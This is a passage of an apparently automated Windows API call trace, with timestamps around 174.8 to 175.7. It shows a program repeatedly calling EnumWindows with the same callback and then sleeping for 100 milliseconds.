EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0174.824] Sleep (dwMilliseconds=0x64) [0174.825] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0174.825] Sleep (dwMilliseconds=0x64) [0174.827] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0174.827] Sleep (dwMilliseconds=0x64) [0174.829] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0174.829] Sleep (dwMilliseconds=0x64) [0174.832] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0174.832] Sleep (dwMilliseconds=0x64) [0174.834] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0174.835] Sleep (dwMilliseconds=0x64) [0174.836] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0174.836] Sleep (dwMilliseconds=0x64) [0174.838] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0174.838] Sleep (dwMilliseconds=0x64) [0174.840] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0174.840] Sleep (dwMilliseconds=0x64) [0174.842] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0174.842] Sleep (dwMilliseconds=0x64) [0174.844] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0174.844] Sleep (dwMilliseconds=0x64) [0174.846] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0174.846] Sleep (dwMilliseconds=0x64) [0174.848] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0174.848] Sleep (dwMilliseconds=0x64) [0174.849] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0174.850] Sleep (dwMilliseconds=0x64) [0174.851] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0174.851] Sleep (dwMilliseconds=0x64) [0174.853] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0174.853] Sleep (dwMilliseconds=0x64) [0174.855] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0174.855] Sleep (dwMilliseconds=0x64) [0174.857] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0174.857] Sleep (dwMilliseconds=0x64) [0174.860] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0174.861] Sleep (dwMilliseconds=0x64) [0174.862] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0174.863] Sleep (dwMilliseconds=0x64) [0174.864] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0174.864] Sleep (dwMilliseconds=0x64) [0174.866] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0174.866] Sleep (dwMilliseconds=0x64) [0174.868] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0174.868] Sleep (dwMilliseconds=0x64) [0174.870] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0174.870] Sleep (dwMilliseconds=0x64) [0174.871] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0174.872] Sleep (dwMilliseconds=0x64) [0174.873] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0174.873] Sleep (dwMilliseconds=0x64) [0174.875] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0174.875] Sleep (dwMilliseconds=0x64) [0174.876] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0174.876] Sleep (dwMilliseconds=0x64) [0174.878] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0174.878] Sleep (dwMilliseconds=0x64) [0174.880] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0174.880] Sleep (dwMilliseconds=0x64) [0174.881] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0174.881] Sleep (dwMilliseconds=0x64) [0174.883] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0174.883] Sleep (dwMilliseconds=0x64) [0174.884] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0174.884] Sleep (dwMilliseconds=0x64) [0174.886] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0174.886] Sleep (dwMilliseconds=0x64) [0174.897] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0174.898] Sleep (dwMilliseconds=0x64) [0174.899] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0174.899] Sleep (dwMilliseconds=0x64) [0174.901] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0174.901] Sleep (dwMilliseconds=0x64) [0174.902] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0174.902] Sleep (dwMilliseconds=0x64) [0174.904] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0174.904] Sleep (dwMilliseconds=0x64) [0174.907] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0174.907] Sleep (dwMilliseconds=0x64) [0174.909] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0174.909] Sleep (dwMilliseconds=0x64) [0174.911] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0174.911] Sleep (dwMilliseconds=0x64) [0174.913] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0174.913] Sleep (dwMilliseconds=0x64) [0174.914] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0174.914] Sleep (dwMilliseconds=0x64) [0174.916] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0174.916] Sleep (dwMilliseconds=0x64) [0174.917] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0174.917] Sleep (dwMilliseconds=0x64) [0174.919] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0174.919] Sleep (dwMilliseconds=0x64) [0174.920] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0174.921] Sleep (dwMilliseconds=0x64) [0174.922] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0174.922] Sleep (dwMilliseconds=0x64) [0174.924] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0174.924] Sleep (dwMilliseconds=0x64) [0174.926] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0174.926] Sleep (dwMilliseconds=0x64) [0174.927] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0174.927] Sleep (dwMilliseconds=0x64) [0174.928] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0174.929] Sleep (dwMilliseconds=0x64) [0174.930] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0174.930] Sleep (dwMilliseconds=0x64) [0174.931] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0174.932] Sleep (dwMilliseconds=0x64) [0174.933] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0174.933] Sleep (dwMilliseconds=0x64) [0174.935] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0174.935] Sleep (dwMilliseconds=0x64) [0174.936] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0174.936] Sleep (dwMilliseconds=0x64) [0174.938] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0174.938] Sleep (dwMilliseconds=0x64) [0174.939] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0174.940] Sleep (dwMilliseconds=0x64) [0174.941] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0174.941] Sleep (dwMilliseconds=0x64) [0174.943] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0174.943] Sleep (dwMilliseconds=0x64) [0174.944] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0174.944] Sleep (dwMilliseconds=0x64) [0174.946] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0174.946] Sleep (dwMilliseconds=0x64) [0174.948] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0174.948] Sleep (dwMilliseconds=0x64) [0174.951] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0174.951] Sleep (dwMilliseconds=0x64) [0174.952] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0174.952] Sleep (dwMilliseconds=0x64) [0174.954] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0174.954] Sleep (dwMilliseconds=0x64) [0174.955] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0174.956] Sleep (dwMilliseconds=0x64) [0174.957] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0174.957] Sleep (dwMilliseconds=0x64) [0174.959] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0174.959] Sleep (dwMilliseconds=0x64) [0174.961] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0174.962] Sleep (dwMilliseconds=0x64) [0174.963] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0174.963] Sleep (dwMilliseconds=0x64) [0174.965] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0174.965] Sleep (dwMilliseconds=0x64) [0174.967] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0174.967] Sleep (dwMilliseconds=0x64) [0174.968] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0174.968] Sleep (dwMilliseconds=0x64) [0174.970] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0174.970] Sleep (dwMilliseconds=0x64) [0174.971] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0174.971] Sleep (dwMilliseconds=0x64) [0174.973] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0174.973] Sleep (dwMilliseconds=0x64) [0174.975] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0174.975] Sleep (dwMilliseconds=0x64) [0174.976] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0174.976] Sleep (dwMilliseconds=0x64) [0174.978] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0174.978] Sleep (dwMilliseconds=0x64) [0174.980] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0174.980] Sleep (dwMilliseconds=0x64) [0174.984] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0174.984] Sleep (dwMilliseconds=0x64) [0174.986] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0174.986] Sleep (dwMilliseconds=0x64) [0174.987] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0174.987] Sleep (dwMilliseconds=0x64) [0174.988] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0174.989] Sleep (dwMilliseconds=0x64) [0174.990] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0174.990] Sleep (dwMilliseconds=0x64) [0174.992] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0174.992] Sleep (dwMilliseconds=0x64) [0174.994] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0174.994] Sleep (dwMilliseconds=0x64) [0174.996] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0174.996] Sleep (dwMilliseconds=0x64) [0174.997] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0174.997] Sleep (dwMilliseconds=0x64) [0174.999] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0174.999] Sleep (dwMilliseconds=0x64) [0175.000] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0175.000] Sleep (dwMilliseconds=0x64) [0175.003] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0175.003] Sleep (dwMilliseconds=0x64) [0175.005] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0175.005] Sleep (dwMilliseconds=0x64) [0175.007] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0175.007] Sleep (dwMilliseconds=0x64) [0175.009] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0175.009] Sleep (dwMilliseconds=0x64) [0175.010] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0175.010] Sleep (dwMilliseconds=0x64) [0175.012] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0175.012] Sleep (dwMilliseconds=0x64) [0175.017] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0175.018] Sleep (dwMilliseconds=0x64) [0175.019] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0175.020] Sleep (dwMilliseconds=0x64) [0175.021] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0175.021] Sleep (dwMilliseconds=0x64) [0175.023] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0175.024] Sleep (dwMilliseconds=0x64) [0175.025] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0175.025] Sleep (dwMilliseconds=0x64) [0175.027] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0175.027] Sleep (dwMilliseconds=0x64) [0175.029] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0175.029] Sleep (dwMilliseconds=0x64) [0175.031] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0175.031] Sleep (dwMilliseconds=0x64) [0175.033] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0175.033] Sleep (dwMilliseconds=0x64) [0175.034] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0175.034] Sleep (dwMilliseconds=0x64) [0175.036] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0175.036] Sleep (dwMilliseconds=0x64) [0175.038] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0175.038] Sleep (dwMilliseconds=0x64) [0175.040] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0175.040] Sleep (dwMilliseconds=0x64) [0175.041] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0175.041] Sleep (dwMilliseconds=0x64) [0175.043] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0175.043] Sleep (dwMilliseconds=0x64) [0175.045] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0175.045] Sleep (dwMilliseconds=0x64) [0175.047] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0175.047] Sleep (dwMilliseconds=0x64) [0175.050] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0175.050] Sleep (dwMilliseconds=0x64) [0175.051] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0175.052] Sleep (dwMilliseconds=0x64) [0175.053] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0175.053] Sleep (dwMilliseconds=0x64) [0175.055] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0175.055] Sleep (dwMilliseconds=0x64) [0175.056] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0175.056] Sleep (dwMilliseconds=0x64) [0175.058] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0175.058] Sleep (dwMilliseconds=0x64) [0175.059] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0175.059] Sleep (dwMilliseconds=0x64) [0175.061] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0175.061] Sleep (dwMilliseconds=0x64) [0175.063] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0175.063] Sleep (dwMilliseconds=0x64) [0175.065] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0175.065] Sleep (dwMilliseconds=0x64) [0175.066] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0175.066] Sleep (dwMilliseconds=0x64) [0175.067] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0175.068] Sleep (dwMilliseconds=0x64) [0175.069] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0175.069] Sleep (dwMilliseconds=0x64) [0175.070] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0175.071] Sleep (dwMilliseconds=0x64) [0175.072] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0175.072] Sleep (dwMilliseconds=0x64) [0175.074] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0175.074] Sleep (dwMilliseconds=0x64) [0175.076] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0175.076] Sleep (dwMilliseconds=0x64) [0175.078] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0175.079] Sleep (dwMilliseconds=0x64) [0175.080] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0175.080] Sleep (dwMilliseconds=0x64) [0175.083] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0175.083] Sleep (dwMilliseconds=0x64) [0175.084] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0175.084] Sleep (dwMilliseconds=0x64) [0175.088] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0175.088] Sleep (dwMilliseconds=0x64) [0175.090] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0175.090] Sleep (dwMilliseconds=0x64) [0175.092] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0175.092] Sleep (dwMilliseconds=0x64) [0175.093] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0175.094] Sleep (dwMilliseconds=0x64) [0175.097] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0175.097] Sleep (dwMilliseconds=0x64) [0175.099] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0175.099] Sleep (dwMilliseconds=0x64) [0175.100] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0175.100] Sleep (dwMilliseconds=0x64) [0175.103] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0175.103] Sleep (dwMilliseconds=0x64) [0175.104] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0175.105] Sleep (dwMilliseconds=0x64) [0175.106] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0175.106] Sleep (dwMilliseconds=0x64) [0175.107] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0175.108] Sleep (dwMilliseconds=0x64) [0175.109] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0175.109] Sleep (dwMilliseconds=0x64) [0175.126] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0175.127] Sleep (dwMilliseconds=0x64) [0175.129] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0175.129] Sleep (dwMilliseconds=0x64) [0175.131] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0175.132] Sleep (dwMilliseconds=0x64) [0175.133] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0175.133] Sleep (dwMilliseconds=0x64) [0175.135] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0175.135] Sleep (dwMilliseconds=0x64) [0175.136] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0175.137] Sleep (dwMilliseconds=0x64) [0175.158] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0175.158] Sleep (dwMilliseconds=0x64) [0175.159] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0175.160] Sleep (dwMilliseconds=0x64) [0175.162] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0175.162] Sleep (dwMilliseconds=0x64) [0175.164] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0175.165] Sleep (dwMilliseconds=0x64) [0175.166] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0175.166] Sleep (dwMilliseconds=0x64) [0175.167] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0175.168] Sleep (dwMilliseconds=0x64) [0175.169] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0175.169] Sleep (dwMilliseconds=0x64) [0175.171] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0175.171] Sleep (dwMilliseconds=0x64) [0175.172] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0175.173] Sleep (dwMilliseconds=0x64) [0175.174] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0175.175] Sleep (dwMilliseconds=0x64) [0175.176] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0175.176] Sleep (dwMilliseconds=0x64) [0175.177] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0175.178] Sleep (dwMilliseconds=0x64) [0175.179] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0175.179] Sleep (dwMilliseconds=0x64) [0175.180] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0175.181] Sleep (dwMilliseconds=0x64) [0175.182] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0175.183] Sleep (dwMilliseconds=0x64) [0175.279] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0175.280] Sleep (dwMilliseconds=0x64) [0175.334] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0175.334] Sleep (dwMilliseconds=0x64) [0175.452] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0175.453] Sleep (dwMilliseconds=0x64) [0175.513] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0175.513] Sleep (dwMilliseconds=0x64) [0175.514] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0175.515] Sleep (dwMilliseconds=0x64) [0175.517] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0175.517] Sleep (dwMilliseconds=0x64) [0175.519] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0175.519] Sleep (dwMilliseconds=0x64) [0175.521] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0175.521] Sleep (dwMilliseconds=0x64) [0175.523] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0175.524] Sleep (dwMilliseconds=0x64) [0175.525] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0175.525] Sleep (dwMilliseconds=0x64) [0175.526] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0175.527] Sleep (dwMilliseconds=0x64) [0175.528] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0175.528] Sleep (dwMilliseconds=0x64) [0175.529] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0175.530] Sleep (dwMilliseconds=0x64) [0175.531] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0175.532] Sleep (dwMilliseconds=0x64) [0175.533] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0175.533] Sleep (dwMilliseconds=0x64) [0175.534] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0175.535] Sleep (dwMilliseconds=0x64) [0175.536] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0175.536] Sleep (dwMilliseconds=0x64) [0175.537] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0175.538] Sleep (dwMilliseconds=0x64) [0175.539] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0175.539] Sleep (dwMilliseconds=0x64) [0175.541] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0175.542] Sleep (dwMilliseconds=0x64) [0175.543] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0175.543] Sleep (dwMilliseconds=0x64) [0175.545] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0175.545] Sleep (dwMilliseconds=0x64) [0175.547] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0175.547] Sleep (dwMilliseconds=0x64) [0175.549] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0175.549] Sleep (dwMilliseconds=0x64) [0175.551] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0175.551] Sleep (dwMilliseconds=0x64) [0175.553] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0175.553] Sleep (dwMilliseconds=0x64) [0175.555] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0175.555] Sleep (dwMilliseconds=0x64) [0175.557] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0175.557] Sleep (dwMilliseconds=0x64) [0175.559] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0175.559] Sleep (dwMilliseconds=0x64) [0175.560] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0175.561] Sleep (dwMilliseconds=0x64) [0175.562] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0175.562] Sleep (dwMilliseconds=0x64) [0175.564] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0175.564] Sleep (dwMilliseconds=0x64) [0175.566] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0175.566] Sleep (dwMilliseconds=0x64) [0175.567] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0175.568] Sleep (dwMilliseconds=0x64) [0175.569] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0175.569] Sleep (dwMilliseconds=0x64) [0175.570] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0175.571] Sleep (dwMilliseconds=0x64) [0175.572] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0175.572] Sleep (dwMilliseconds=0x64) [0175.574] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0175.574] Sleep (dwMilliseconds=0x64) [0175.576] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0175.576] Sleep (dwMilliseconds=0x64) [0175.577] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0175.578] Sleep (dwMilliseconds=0x64) [0175.579] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0175.579] Sleep (dwMilliseconds=0x64) [0175.580] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0175.580] Sleep (dwMilliseconds=0x64) [0175.582] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0175.582] Sleep (dwMilliseconds=0x64) [0175.584] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0175.584] Sleep (dwMilliseconds=0x64) [0175.585] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0175.585] Sleep (dwMilliseconds=0x64) [0175.587] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0175.587] Sleep (dwMilliseconds=0x64) [0175.589] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0175.589] Sleep (dwMilliseconds=0x64) [0175.590] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0175.590] Sleep (dwMilliseconds=0x64) [0175.592] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0175.592] Sleep (dwMilliseconds=0x64) [0175.594] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0175.594] Sleep (dwMilliseconds=0x64) [0175.595] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0175.595] Sleep (dwMilliseconds=0x64) [0175.596] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0175.597] Sleep (dwMilliseconds=0x64) [0175.598] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0175.599] Sleep (dwMilliseconds=0x64) [0175.600] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0175.600] Sleep (dwMilliseconds=0x64) [0175.601] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0175.602] Sleep (dwMilliseconds=0x64) [0175.603] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0175.603] Sleep (dwMilliseconds=0x64) [0175.605] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0175.605] Sleep (dwMilliseconds=0x64) [0175.606] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0175.606] Sleep (dwMilliseconds=0x64) [0175.607] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0175.608] Sleep (dwMilliseconds=0x64) [0175.609] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0175.609] Sleep (dwMilliseconds=0x64) [0175.668] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0175.668] Sleep (dwMilliseconds=0x64) [0175.670] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0175.670] Sleep (dwMilliseconds=0x64) [0175.673] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0175.673] Sleep (dwMilliseconds=0x64) [0175.675] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0175.675] Sleep (dwMilliseconds=0x64) [0175.676] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0175.676] Sleep (dwMilliseconds=0x64) [0175.678] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0175.678] Sleep (dwMilliseconds=0x64) [0175.680] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0175.680] Sleep (dwMilliseconds=0x64) [0175.682] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0175.682] Sleep (dwMilliseconds=0x64) [0175.684] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0175.684] Sleep (dwMilliseconds=0x64) [0175.686] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0175.686] Sleep (dwMilliseconds=0x64) [0175.688] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0175.688] Sleep (dwMilliseconds=0x64) 